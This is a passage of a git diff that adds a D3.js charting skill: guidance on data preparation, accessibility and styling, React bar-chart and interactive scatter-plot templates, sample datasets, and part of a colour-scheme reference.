### Data preparation
|
||||
|
||||
Always validate and prepare data before visualisation:
|
||||
|
||||
```javascript
|
||||
// Filter invalid values
|
||||
const cleanData = data.filter(d => d.value != null && !isNaN(d.value));
|
||||
|
||||
// Sort data if order matters
|
||||
const sortedData = [...data].sort((a, b) => b.value - a.value);
|
||||
|
||||
// Parse dates
|
||||
const parsedData = data.map(d => ({
|
||||
...d,
|
||||
date: d3.timeParse("%Y-%m-%d")(d.date)
|
||||
}));
|
||||
```
|
||||
|
||||
### Performance optimisation
|
||||
|
||||
For large datasets (>1000 elements):
|
||||
|
||||
```javascript
|
||||
// Use canvas instead of SVG for many elements
|
||||
// Use quadtree for collision detection
|
||||
// Simplify paths with d3.line().curve(d3.curveStep)
|
||||
// Implement virtual scrolling for large lists
|
||||
// Use requestAnimationFrame for custom animations
|
||||
```
|
||||
|
||||
### Accessibility
|
||||
|
||||
Make visualisations accessible:
|
||||
|
||||
```javascript
|
||||
// Add ARIA labels
|
||||
svg.attr("role", "img")
|
||||
.attr("aria-label", "Bar chart showing quarterly revenue");
|
||||
|
||||
// Add title and description
|
||||
svg.append("title").text("Quarterly Revenue 2024");
|
||||
svg.append("desc").text("Bar chart showing revenue growth across four quarters");
|
||||
|
||||
// Ensure sufficient colour contrast
|
||||
// Provide keyboard navigation for interactive elements
|
||||
// Include data table alternative
|
||||
```
|
||||
|
||||
### Styling
|
||||
|
||||
Use consistent, professional styling:
|
||||
|
||||
```javascript
|
||||
// Define colour palettes upfront
|
||||
const colours = {
|
||||
primary: '#4A90E2',
|
||||
secondary: '#7B68EE',
|
||||
background: '#F5F7FA',
|
||||
text: '#333333',
|
||||
gridLines: '#E0E0E0'
|
||||
};
|
||||
|
||||
// Apply consistent typography
|
||||
svg.selectAll("text")
|
||||
.style("font-family", "Inter, sans-serif")
|
||||
.style("font-size", "12px");
|
||||
|
||||
// Use subtle grid lines
|
||||
g.selectAll(".tick line")
|
||||
.attr("stroke", colours.gridLines)
|
||||
.attr("stroke-dasharray", "2,2");
|
||||
```
|
||||
|
||||
## Common issues and solutions
|
||||
|
||||
**Issue**: Axes not appearing
|
||||
- Ensure scales have valid domains (check for NaN values)
|
||||
- Verify axis is appended to correct group
|
||||
- Check transform translations are correct
|
||||
|
||||
**Issue**: Transitions not working
|
||||
- Call `.transition()` before attribute changes
|
||||
- Ensure elements have unique keys for proper data binding
|
||||
- Check that useEffect dependencies include all changing data
|
||||
|
||||
**Issue**: Responsive sizing not working
|
||||
- Use ResizeObserver or window resize listener
|
||||
- Update dimensions in state to trigger re-render
|
||||
- Ensure SVG has width/height attributes or viewBox
|
||||
|
||||
**Issue**: Performance problems
|
||||
- Limit number of DOM elements (consider canvas for >1000 items)
|
||||
- Debounce resize handlers
|
||||
- Use `.join()` instead of separate enter/update/exit selections
|
||||
- Avoid unnecessary re-renders by checking dependencies
|
||||
|
||||
## Resources
|
||||
|
||||
### references/
|
||||
Contains detailed reference materials:
|
||||
- `d3-patterns.md` - Comprehensive collection of visualisation patterns and code examples
|
||||
- `scale-reference.md` - Complete guide to d3 scales with examples
|
||||
- `colour-schemes.md` - D3 colour schemes and palette recommendations
|
||||
|
||||
### assets/
|
||||
|
||||
Contains boilerplate templates:
|
||||
|
||||
- `chart-template.js` - Starter template for basic chart
|
||||
- `interactive-template.js` - Template with tooltips, zoom, and interactions
|
||||
- `sample-data.json` - Example datasets for testing
|
||||
|
||||
These templates work with vanilla JavaScript, React, Vue, Svelte, or any other JavaScript environment. Adapt them as needed for your specific framework.
|
||||
|
||||
To use these resources, read the relevant files when detailed guidance is needed for specific visualisation types or patterns.
|
||||
106
skills/claude-d3js-skill/assets/chart-template.jsx
Normal file
106
skills/claude-d3js-skill/assets/chart-template.jsx
Normal file
@@ -0,0 +1,106 @@
|
||||
import { useEffect, useRef, useState } from 'react';
|
||||
import * as d3 from 'd3';
|
||||
|
||||
function BasicChart({ data }) {
|
||||
const svgRef = useRef();
|
||||
|
||||
useEffect(() => {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
// Select SVG element
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove(); // Clear previous content
|
||||
|
||||
// Define dimensions and margins
|
||||
const width = 800;
|
||||
const height = 400;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
// Create main group with margins
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
// Create scales
|
||||
const xScale = d3.scaleBand()
|
||||
.domain(data.map(d => d.label))
|
||||
.range([0, innerWidth])
|
||||
.padding(0.1);
|
||||
|
||||
const yScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.value)])
|
||||
.range([innerHeight, 0])
|
||||
.nice();
|
||||
|
||||
// Create and append axes
|
||||
const xAxis = d3.axisBottom(xScale);
|
||||
const yAxis = d3.axisLeft(yScale);
|
||||
|
||||
g.append("g")
|
||||
.attr("class", "x-axis")
|
||||
.attr("transform", `translate(0,${innerHeight})`)
|
||||
.call(xAxis);
|
||||
|
||||
g.append("g")
|
||||
.attr("class", "y-axis")
|
||||
.call(yAxis);
|
||||
|
||||
// Bind data and create visual elements (bars in this example)
|
||||
g.selectAll("rect")
|
||||
.data(data)
|
||||
.join("rect")
|
||||
.attr("x", d => xScale(d.label))
|
||||
.attr("y", d => yScale(d.value))
|
||||
.attr("width", xScale.bandwidth())
|
||||
.attr("height", d => innerHeight - yScale(d.value))
|
||||
.attr("fill", "steelblue");
|
||||
|
||||
// Optional: Add axis labels
|
||||
g.append("text")
|
||||
.attr("class", "axis-label")
|
||||
.attr("x", innerWidth / 2)
|
||||
.attr("y", innerHeight + margin.bottom - 5)
|
||||
.attr("text-anchor", "middle")
|
||||
.text("Category");
|
||||
|
||||
g.append("text")
|
||||
.attr("class", "axis-label")
|
||||
.attr("transform", "rotate(-90)")
|
||||
.attr("x", -innerHeight / 2)
|
||||
.attr("y", -margin.left + 15)
|
||||
.attr("text-anchor", "middle")
|
||||
.text("Value");
|
||||
|
||||
}, [data]);
|
||||
|
||||
return (
|
||||
<div className="chart-container">
|
||||
<svg
|
||||
ref={svgRef}
|
||||
width="800"
|
||||
height="400"
|
||||
style={{ border: '1px solid #ddd' }}
|
||||
/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// Example usage
|
||||
export default function App() {
|
||||
const sampleData = [
|
||||
{ label: 'A', value: 30 },
|
||||
{ label: 'B', value: 80 },
|
||||
{ label: 'C', value: 45 },
|
||||
{ label: 'D', value: 60 },
|
||||
{ label: 'E', value: 20 },
|
||||
{ label: 'F', value: 90 }
|
||||
];
|
||||
|
||||
return (
|
||||
<div className="p-8">
|
||||
<h1 className="text-2xl font-bold mb-4">Basic D3.js Chart</h1>
|
||||
<BasicChart data={sampleData} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
227
skills/claude-d3js-skill/assets/interactive-template.jsx
Normal file
227
skills/claude-d3js-skill/assets/interactive-template.jsx
Normal file
@@ -0,0 +1,227 @@
|
||||
import { useEffect, useRef, useState } from 'react';
|
||||
import * as d3 from 'd3';
|
||||
|
||||
function InteractiveChart({ data }) {
|
||||
const svgRef = useRef();
|
||||
const tooltipRef = useRef();
|
||||
const [selectedPoint, setSelectedPoint] = useState(null);
|
||||
|
||||
useEffect(() => {
|
||||
if (!data || data.length === 0) return;
|
||||
|
||||
const svg = d3.select(svgRef.current);
|
||||
svg.selectAll("*").remove();
|
||||
|
||||
// Dimensions
|
||||
const width = 800;
|
||||
const height = 500;
|
||||
const margin = { top: 20, right: 30, bottom: 40, left: 50 };
|
||||
const innerWidth = width - margin.left - margin.right;
|
||||
const innerHeight = height - margin.top - margin.bottom;
|
||||
|
||||
// Create main group
|
||||
const g = svg.append("g")
|
||||
.attr("transform", `translate(${margin.left},${margin.top})`);
|
||||
|
||||
// Scales
|
||||
const xScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.x)])
|
||||
.range([0, innerWidth])
|
||||
.nice();
|
||||
|
||||
const yScale = d3.scaleLinear()
|
||||
.domain([0, d3.max(data, d => d.y)])
|
||||
.range([innerHeight, 0])
|
||||
.nice();
|
||||
|
||||
const sizeScale = d3.scaleSqrt()
|
||||
.domain([0, d3.max(data, d => d.size || 10)])
|
||||
.range([3, 20]);
|
||||
|
||||
const colourScale = d3.scaleOrdinal(d3.schemeCategory10);
|
||||
|
||||
// Add zoom behaviour
|
||||
const zoom = d3.zoom()
|
||||
.scaleExtent([0.5, 10])
|
||||
.on("zoom", (event) => {
|
||||
g.attr("transform", `translate(${margin.left + event.transform.x},${margin.top + event.transform.y}) scale(${event.transform.k})`);
|
||||
});
|
||||
|
||||
svg.call(zoom);
|
||||
|
||||
// Axes
|
||||
const xAxis = d3.axisBottom(xScale);
|
||||
const yAxis = d3.axisLeft(yScale);
|
||||
|
||||
const xAxisGroup = g.append("g")
|
||||
.attr("class", "x-axis")
|
||||
.attr("transform", `translate(0,${innerHeight})`)
|
||||
.call(xAxis);
|
||||
|
||||
const yAxisGroup = g.append("g")
|
||||
.attr("class", "y-axis")
|
||||
.call(yAxis);
|
||||
|
||||
// Grid lines
|
||||
g.append("g")
|
||||
.attr("class", "grid")
|
||||
.attr("opacity", 0.1)
|
||||
.call(d3.axisLeft(yScale)
|
||||
.tickSize(-innerWidth)
|
||||
.tickFormat(""));
|
||||
|
||||
g.append("g")
|
||||
.attr("class", "grid")
|
||||
.attr("opacity", 0.1)
|
||||
.attr("transform", `translate(0,${innerHeight})`)
|
||||
.call(d3.axisBottom(xScale)
|
||||
.tickSize(-innerHeight)
|
||||
.tickFormat(""));
|
||||
|
||||
// Tooltip
|
||||
const tooltip = d3.select(tooltipRef.current);
|
||||
|
||||
// Data points
|
||||
const circles = g.selectAll("circle")
|
||||
.data(data)
|
||||
.join("circle")
|
||||
.attr("cx", d => xScale(d.x))
|
||||
.attr("cy", d => yScale(d.y))
|
||||
.attr("r", d => sizeScale(d.size || 10))
|
||||
.attr("fill", d => colourScale(d.category || 'default'))
|
||||
.attr("stroke", "#fff")
|
||||
.attr("stroke-width", 2)
|
||||
.attr("opacity", 0.7)
|
||||
.style("cursor", "pointer");
|
||||
|
||||
// Hover interactions
|
||||
circles
|
||||
.on("mouseover", function(event, d) {
|
||||
// Enlarge circle
|
||||
d3.select(this)
|
||||
.transition()
|
||||
.duration(200)
|
||||
.attr("opacity", 1)
|
||||
.attr("stroke-width", 3);
|
||||
|
||||
// Show tooltip
|
||||
tooltip
|
||||
.style("display", "block")
|
||||
.style("left", (event.pageX + 10) + "px")
|
||||
.style("top", (event.pageY - 10) + "px")
|
||||
.html(`
|
||||
<strong>${d.label || 'Point'}</strong><br/>
|
||||
X: ${d.x.toFixed(2)}<br/>
|
||||
Y: ${d.y.toFixed(2)}<br/>
|
||||
${d.category ? `Category: ${d.category}<br/>` : ''}
|
||||
${d.size ? `Size: ${d.size.toFixed(2)}` : ''}
|
||||
`);
|
||||
})
|
||||
.on("mousemove", function(event) {
|
||||
tooltip
|
||||
.style("left", (event.pageX + 10) + "px")
|
||||
.style("top", (event.pageY - 10) + "px");
|
||||
})
|
||||
.on("mouseout", function() {
|
||||
// Restore circle
|
||||
d3.select(this)
|
||||
.transition()
|
||||
.duration(200)
|
||||
.attr("opacity", 0.7)
|
||||
.attr("stroke-width", 2);
|
||||
|
||||
// Hide tooltip
|
||||
tooltip.style("display", "none");
|
||||
})
|
||||
.on("click", function(event, d) {
|
||||
// Highlight selected point
|
||||
circles.attr("stroke", "#fff").attr("stroke-width", 2);
|
||||
d3.select(this)
|
||||
.attr("stroke", "#000")
|
||||
.attr("stroke-width", 3);
|
||||
|
||||
setSelectedPoint(d);
|
||||
});
|
||||
|
||||
// Add transition on initial render
|
||||
circles
|
||||
.attr("r", 0)
|
||||
.transition()
|
||||
.duration(800)
|
||||
.delay((d, i) => i * 20)
|
||||
.attr("r", d => sizeScale(d.size || 10));
|
||||
|
||||
// Axis labels
|
||||
g.append("text")
|
||||
.attr("class", "axis-label")
|
||||
.attr("x", innerWidth / 2)
|
||||
.attr("y", innerHeight + margin.bottom - 5)
|
||||
.attr("text-anchor", "middle")
|
||||
.style("font-size", "14px")
|
||||
.text("X Axis");
|
||||
|
||||
g.append("text")
|
||||
.attr("class", "axis-label")
|
||||
.attr("transform", "rotate(-90)")
|
||||
.attr("x", -innerHeight / 2)
|
||||
.attr("y", -margin.left + 15)
|
||||
.attr("text-anchor", "middle")
|
||||
.style("font-size", "14px")
|
||||
.text("Y Axis");
|
||||
|
||||
}, [data]);
|
||||
|
||||
return (
|
||||
<div className="relative">
|
||||
<svg
|
||||
ref={svgRef}
|
||||
width="800"
|
||||
height="500"
|
||||
style={{ border: '1px solid #ddd', cursor: 'grab' }}
|
||||
/>
|
||||
<div
|
||||
ref={tooltipRef}
|
||||
style={{
|
||||
position: 'absolute',
|
||||
display: 'none',
|
||||
padding: '10px',
|
||||
background: 'white',
|
||||
border: '1px solid #ddd',
|
||||
borderRadius: '4px',
|
||||
pointerEvents: 'none',
|
||||
boxShadow: '0 2px 4px rgba(0,0,0,0.1)',
|
||||
fontSize: '13px',
|
||||
zIndex: 1000
|
||||
}}
|
||||
/>
|
||||
{selectedPoint && (
|
||||
<div className="mt-4 p-4 bg-blue-50 rounded border border-blue-200">
|
||||
<h3 className="font-bold mb-2">Selected Point</h3>
|
||||
<pre className="text-sm">{JSON.stringify(selectedPoint, null, 2)}</pre>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
// Example usage
|
||||
export default function App() {
|
||||
const sampleData = Array.from({ length: 50 }, (_, i) => ({
|
||||
id: i,
|
||||
label: `Point ${i + 1}`,
|
||||
x: Math.random() * 100,
|
||||
y: Math.random() * 100,
|
||||
size: Math.random() * 30 + 5,
|
||||
category: ['A', 'B', 'C', 'D'][Math.floor(Math.random() * 4)]
|
||||
}));
|
||||
|
||||
return (
|
||||
<div className="p-8">
|
||||
<h1 className="text-2xl font-bold mb-2">Interactive D3.js Chart</h1>
|
||||
<p className="text-gray-600 mb-4">
|
||||
Hover over points for details. Click to select. Scroll to zoom. Drag to pan.
|
||||
</p>
|
||||
<InteractiveChart data={sampleData} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
115
skills/claude-d3js-skill/assets/sample-data.json
Normal file
115
skills/claude-d3js-skill/assets/sample-data.json
Normal file
@@ -0,0 +1,115 @@
|
||||
{
|
||||
"timeSeries": [
|
||||
{ "date": "2024-01-01", "value": 120, "category": "A" },
|
||||
{ "date": "2024-02-01", "value": 135, "category": "A" },
|
||||
{ "date": "2024-03-01", "value": 128, "category": "A" },
|
||||
{ "date": "2024-04-01", "value": 145, "category": "A" },
|
||||
{ "date": "2024-05-01", "value": 152, "category": "A" },
|
||||
{ "date": "2024-06-01", "value": 168, "category": "A" },
|
||||
{ "date": "2024-07-01", "value": 175, "category": "A" },
|
||||
{ "date": "2024-08-01", "value": 182, "category": "A" },
|
||||
{ "date": "2024-09-01", "value": 190, "category": "A" },
|
||||
{ "date": "2024-10-01", "value": 185, "category": "A" },
|
||||
{ "date": "2024-11-01", "value": 195, "category": "A" },
|
||||
{ "date": "2024-12-01", "value": 210, "category": "A" }
|
||||
],
|
||||
|
||||
"categorical": [
|
||||
{ "label": "Product A", "value": 450, "category": "Electronics" },
|
||||
{ "label": "Product B", "value": 320, "category": "Electronics" },
|
||||
{ "label": "Product C", "value": 580, "category": "Clothing" },
|
||||
{ "label": "Product D", "value": 290, "category": "Clothing" },
|
||||
{ "label": "Product E", "value": 410, "category": "Food" },
|
||||
{ "label": "Product F", "value": 370, "category": "Food" }
|
||||
],
|
||||
|
||||
"scatterData": [
|
||||
{ "x": 12, "y": 45, "size": 25, "category": "Group A", "label": "Point 1" },
|
||||
{ "x": 25, "y": 62, "size": 35, "category": "Group A", "label": "Point 2" },
|
||||
{ "x": 38, "y": 55, "size": 20, "category": "Group B", "label": "Point 3" },
|
||||
{ "x": 45, "y": 78, "size": 40, "category": "Group B", "label": "Point 4" },
|
||||
{ "x": 52, "y": 68, "size": 30, "category": "Group C", "label": "Point 5" },
|
||||
{ "x": 65, "y": 85, "size": 45, "category": "Group C", "label": "Point 6" },
|
||||
{ "x": 72, "y": 72, "size": 28, "category": "Group A", "label": "Point 7" },
|
||||
{ "x": 85, "y": 92, "size": 50, "category": "Group B", "label": "Point 8" }
|
||||
],
|
||||
|
||||
"hierarchical": {
|
||||
"name": "Root",
|
||||
"children": [
|
||||
{
|
||||
"name": "Category 1",
|
||||
"children": [
|
||||
{ "name": "Item 1.1", "value": 100 },
|
||||
{ "name": "Item 1.2", "value": 150 },
|
||||
{ "name": "Item 1.3", "value": 80 }
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Category 2",
|
||||
"children": [
|
||||
{ "name": "Item 2.1", "value": 200 },
|
||||
{ "name": "Item 2.2", "value": 120 },
|
||||
{ "name": "Item 2.3", "value": 90 }
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Category 3",
|
||||
"children": [
|
||||
{ "name": "Item 3.1", "value": 180 },
|
||||
{ "name": "Item 3.2", "value": 140 }
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
|
||||
"network": {
|
||||
"nodes": [
|
||||
{ "id": "A", "group": 1 },
|
||||
{ "id": "B", "group": 1 },
|
||||
{ "id": "C", "group": 1 },
|
||||
{ "id": "D", "group": 2 },
|
||||
{ "id": "E", "group": 2 },
|
||||
{ "id": "F", "group": 3 },
|
||||
{ "id": "G", "group": 3 },
|
||||
{ "id": "H", "group": 3 }
|
||||
],
|
||||
"links": [
|
||||
{ "source": "A", "target": "B", "value": 1 },
|
||||
{ "source": "A", "target": "C", "value": 2 },
|
||||
{ "source": "B", "target": "C", "value": 1 },
|
||||
{ "source": "C", "target": "D", "value": 3 },
|
||||
{ "source": "D", "target": "E", "value": 2 },
|
||||
{ "source": "E", "target": "F", "value": 1 },
|
||||
{ "source": "F", "target": "G", "value": 2 },
|
||||
{ "source": "F", "target": "H", "value": 1 },
|
||||
{ "source": "G", "target": "H", "value": 1 }
|
||||
]
|
||||
},
|
||||
|
||||
"stackedData": [
|
||||
{ "group": "Q1", "seriesA": 30, "seriesB": 40, "seriesC": 25 },
|
||||
{ "group": "Q2", "seriesA": 45, "seriesB": 35, "seriesC": 30 },
|
||||
{ "group": "Q3", "seriesA": 40, "seriesB": 50, "seriesC": 35 },
|
||||
{ "group": "Q4", "seriesA": 55, "seriesB": 45, "seriesC": 40 }
|
||||
],
|
||||
|
||||
"geographicPoints": [
|
||||
{ "city": "London", "latitude": 51.5074, "longitude": -0.1278, "value": 8900000 },
|
||||
{ "city": "Paris", "latitude": 48.8566, "longitude": 2.3522, "value": 2140000 },
|
||||
{ "city": "Berlin", "latitude": 52.5200, "longitude": 13.4050, "value": 3645000 },
|
||||
{ "city": "Madrid", "latitude": 40.4168, "longitude": -3.7038, "value": 3223000 },
|
||||
{ "city": "Rome", "latitude": 41.9028, "longitude": 12.4964, "value": 2873000 }
|
||||
],
|
||||
|
||||
"divergingData": [
|
||||
{ "category": "Item A", "value": -15 },
|
||||
{ "category": "Item B", "value": 8 },
|
||||
{ "category": "Item C", "value": -22 },
|
||||
{ "category": "Item D", "value": 18 },
|
||||
{ "category": "Item E", "value": -5 },
|
||||
{ "category": "Item F", "value": 25 },
|
||||
{ "category": "Item G", "value": -12 },
|
||||
{ "category": "Item H", "value": 14 }
|
||||
]
|
||||
}
|
||||
564
skills/claude-d3js-skill/references/colour-schemes.md
Normal file
564
skills/claude-d3js-skill/references/colour-schemes.md
Normal file
@@ -0,0 +1,564 @@
|
||||
# D3.js Colour Schemes and Palette Recommendations
|
||||
|
||||
Comprehensive guide to colour selection in data visualisation with d3.js.
|
||||
|
||||
## Built-in categorical colour schemes
|
||||
|
||||
### Category10 (default)
|
||||
|
||||
```javascript
|
||||
d3.schemeCategory10
|
||||
// ['#1f77b4', '#ff7f0e', '#2ca02c', '#d62728', '#9467bd',
|
||||
// '#8c564b', '#e377c2', '#7f7f7f', '#bcbd22', '#17becf']
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- 10 distinct colours
|
||||
- Good colour-blind accessibility
|
||||
- Default choice for most categorical data
|
||||
- Balanced saturation and brightness
|
||||
|
||||
**Use cases:** General purpose categorical encoding, legend items, multiple data series
|
||||
|
||||
### Tableau10
|
||||
|
||||
```javascript
|
||||
d3.schemeTableau10
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- 10 colours optimised for data visualisation
|
||||
- Professional appearance
|
||||
- Excellent distinguishability
|
||||
|
||||
**Use cases:** Business dashboards, professional reports, presentations
|
||||
|
||||
### Accent
|
||||
|
||||
```javascript
|
||||
d3.schemeAccent
|
||||
// 8 colours with high saturation
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- Bright, vibrant colours
|
||||
- High contrast
|
||||
- Modern aesthetic
|
||||
|
||||
**Use cases:** Highlighting important categories, modern web applications
|
||||
|
||||
### Dark2
|
||||
|
||||
```javascript
|
||||
d3.schemeDark2
|
||||
// 8 darker, muted colours
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- Subdued palette
|
||||
- Professional appearance
|
||||
- Good for dark backgrounds
|
||||
|
||||
**Use cases:** Dark mode visualisations, professional contexts
|
||||
|
||||
### Paired
|
||||
|
||||
```javascript
|
||||
d3.schemePaired
|
||||
// 12 colours in pairs of similar hues
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- Pairs of light and dark variants
|
||||
- Useful for nested categories
|
||||
- 12 distinct colours
|
||||
|
||||
**Use cases:** Grouped bar charts, hierarchical categories, before/after comparisons
|
||||
|
||||
### Pastel1 & Pastel2
|
||||
|
||||
```javascript
|
||||
d3.schemePastel1 // 9 colours
|
||||
d3.schemePastel2 // 8 colours
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- Soft, low-saturation colours
|
||||
- Gentle appearance
|
||||
- Good for large areas
|
||||
|
||||
**Use cases:** Background colours, subtle categorisation, calming visualisations
|
||||
|
||||
### Set1, Set2, Set3
|
||||
|
||||
```javascript
|
||||
d3.schemeSet1 // 9 colours - vivid
|
||||
d3.schemeSet2 // 8 colours - muted
|
||||
d3.schemeSet3 // 12 colours - pastel
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- Set1: High saturation, maximum distinction
|
||||
- Set2: Professional, balanced
|
||||
- Set3: Subtle, many categories
|
||||
|
||||
**Use cases:** Varied based on visual hierarchy needs
|
||||
|
||||
## Sequential colour schemes
|
||||
|
||||
Sequential schemes map continuous data from low to high values using a single hue or gradient.
|
||||
|
||||
### Single-hue sequential
|
||||
|
||||
**Blues:**
|
||||
```javascript
|
||||
d3.interpolateBlues
|
||||
d3.schemeBlues[9] // 9-step discrete version
|
||||
```
|
||||
|
||||
**Other single-hue options:**
|
||||
- `d3.interpolateGreens` / `d3.schemeGreens`
|
||||
- `d3.interpolateOranges` / `d3.schemeOranges`
|
||||
- `d3.interpolatePurples` / `d3.schemePurples`
|
||||
- `d3.interpolateReds` / `d3.schemeReds`
|
||||
- `d3.interpolateGreys` / `d3.schemeGreys`
|
||||
|
||||
**Use cases:**
|
||||
- Simple heat maps
|
||||
- Choropleth maps
|
||||
- Density plots
|
||||
- Single-metric visualisations
|
||||
|
||||
### Multi-hue sequential
|
||||
|
||||
**Viridis (recommended):**
|
||||
```javascript
|
||||
d3.interpolateViridis
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- Perceptually uniform
|
||||
- Colour-blind friendly
|
||||
- Print-safe
|
||||
- No visual dead zones
|
||||
- Monotonically increasing perceived lightness
|
||||
|
||||
**Other perceptually-uniform options:**
|
||||
- `d3.interpolatePlasma` - Purple to yellow
|
||||
- `d3.interpolateInferno` - Black to white through red/orange
|
||||
- `d3.interpolateMagma` - Black to white through purple
|
||||
- `d3.interpolateCividis` - Colour-blind optimised
|
||||
|
||||
**Colour-blind accessible:**
|
||||
```javascript
|
||||
d3.interpolateTurbo // Rainbow-like but perceptually uniform
|
||||
d3.interpolateCool // Cyan to magenta
|
||||
d3.interpolateWarm // Orange to yellow
|
||||
```
|
||||
|
||||
**Use cases:**
|
||||
- Scientific visualisation
|
||||
- Medical imaging
|
||||
- Any high-precision data visualisation
|
||||
- Accessible visualisations
|
||||
|
||||
### Traditional sequential
|
||||
|
||||
**Yellow-Orange-Red:**
|
||||
```javascript
|
||||
d3.interpolateYlOrRd
|
||||
d3.schemeYlOrRd[9]
|
||||
```
|
||||
|
||||
**Yellow-Green-Blue:**
|
||||
```javascript
|
||||
d3.interpolateYlGnBu
|
||||
d3.schemeYlGnBu[9]
|
||||
```
|
||||
|
||||
**Other multi-hue:**
|
||||
- `d3.interpolateBuGn` - Blue to green
|
||||
- `d3.interpolateBuPu` - Blue to purple
|
||||
- `d3.interpolateGnBu` - Green to blue
|
||||
- `d3.interpolateOrRd` - Orange to red
|
||||
- `d3.interpolatePuBu` - Purple to blue
|
||||
- `d3.interpolatePuBuGn` - Purple to blue-green
|
||||
- `d3.interpolatePuRd` - Purple to red
|
||||
- `d3.interpolateRdPu` - Red to purple
|
||||
- `d3.interpolateYlGn` - Yellow to green
|
||||
- `d3.interpolateYlOrBr` - Yellow to orange-brown
|
||||
|
||||
**Use cases:** Traditional data visualisation, familiar colour associations (temperature, vegetation, water)
|
||||
|
||||
## Diverging colour schemes
|
||||
|
||||
Diverging schemes highlight deviations from a central value using two distinct hues.
|
||||
|
||||
### Red-Blue (temperature)
|
||||
|
||||
```javascript
|
||||
d3.interpolateRdBu
|
||||
d3.schemeRdBu[11]
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- Intuitive temperature metaphor
|
||||
- Strong contrast
|
||||
- Clear positive/negative distinction
|
||||
|
||||
**Use cases:** Temperature, profit/loss, above/below average, correlation
|
||||
|
||||
### Red-Yellow-Blue
|
||||
|
||||
```javascript
|
||||
d3.interpolateRdYlBu
|
||||
d3.schemeRdYlBu[11]
|
||||
```
|
||||
|
||||
**Characteristics:**
|
||||
- Three-colour gradient
|
||||
- Softer transition through yellow
|
||||
- More visual steps
|
||||
|
||||
**Use cases:** When extreme values need emphasis and middle needs visibility
|
||||
|
||||
### Other diverging schemes
|
||||
|
||||
**Traffic light:**
|
||||
```javascript
|
||||
d3.interpolateRdYlGn // Red (bad) to green (good)
|
||||
```
|
||||
|
||||
**Spectral (rainbow):**
|
||||
```javascript
|
||||
d3.interpolateSpectral // Full spectrum
|
||||
```
|
||||
|
||||
**Other options:**
|
||||
- `d3.interpolateBrBG` - Brown to blue-green
|
||||
- `d3.interpolatePiYG` - Pink to yellow-green
|
||||
- `d3.interpolatePRGn` - Purple to green
|
||||
- `d3.interpolatePuOr` - Purple to orange
|
||||
- `d3.interpolateRdGy` - Red to grey
|
||||
|
||||
**Use cases:** Choose based on semantic meaning and accessibility needs
|
||||
|
||||
## Colour-blind friendly palettes
|
||||
|
||||
### General guidelines
|
||||
|
||||
1. **Avoid red-green combinations** (most common colour blindness)
|
||||
2. **Use blue-orange diverging** instead of red-green
|
||||
3. **Add texture or patterns** as redundant encoding
|
||||
4. **Test with simulation tools**
|
||||
|
||||
### Recommended colour-blind safe schemes
|
||||
|
||||
**Categorical:**
|
||||
```javascript
|
||||
// Okabe-Ito palette (colour-blind safe)
|
||||
const okabePalette = [
|
||||
'#E69F00', // Orange
|
||||
'#56B4E9', // Sky blue
|
||||
'#009E73', // Bluish green
|
||||
'#F0E442', // Yellow
|
||||
'#0072B2', // Blue
|
||||
'#D55E00', // Vermillion
|
||||
'#CC79A7', // Reddish purple
|
||||
'#000000' // Black
|
||||
];
|
||||
|
||||
const colourScale = d3.scaleOrdinal()
|
||||
.domain(categories)
|
||||
.range(okabePalette);
|
||||
```
|
||||
|
||||
**Sequential:**
|
||||
```javascript
|
||||
// Use Viridis, Cividis, or Blues
|
||||
d3.interpolateViridis // Best overall
|
||||
d3.interpolateCividis // Optimised for CVD
|
||||
d3.interpolateBlues // Simple, safe
|
||||
```
|
||||
|
||||
**Diverging:**
|
||||
```javascript
|
||||
// Use blue-orange instead of red-green
|
||||
d3.interpolateBrBG
|
||||
d3.interpolatePuOr
|
||||
```
|
||||
|
||||
## Custom colour palettes
|
||||
|
||||
### Creating custom sequential
|
||||
|
||||
```javascript
|
||||
const customSequential = d3.scaleLinear()
|
||||
.domain([0, 100])
|
||||
.range(['#e8f4f8', '#006d9c']) // Light to dark blue
|
||||
.interpolate(d3.interpolateLab); // Perceptually uniform
|
||||
```
|
||||
|
||||
### Creating custom diverging
|
||||
|
||||
```javascript
|
||||
const customDiverging = d3.scaleLinear()
|
||||
.domain([0, 50, 100])
|
||||
.range(['#ca0020', '#f7f7f7', '#0571b0']) // Red, grey, blue
|
||||
.interpolate(d3.interpolateLab);
|
||||
```
|
||||
|
||||
### Creating custom categorical
|
||||
|
||||
```javascript
|
||||
// Brand colours
|
||||
const brandPalette = [
|
||||
'#FF6B6B', // Primary red
|
||||
'#4ECDC4', // Secondary teal
|
||||
'#45B7D1', // Tertiary blue
|
||||
'#FFA07A', // Accent coral
|
||||
'#98D8C8' // Accent mint
|
||||
];
|
||||
|
||||
const colourScale = d3.scaleOrdinal()
|
||||
.domain(categories)
|
||||
.range(brandPalette);
|
||||
```
|
||||
|
||||
## Semantic colour associations
|
||||
|
||||
### Universal colour meanings
|
||||
|
||||
**Red:**
|
||||
- Danger, error, negative
|
||||
- High temperature
|
||||
- Debt, loss
|
||||
|
||||
**Green:**
|
||||
- Success, positive
|
||||
- Growth, vegetation
|
||||
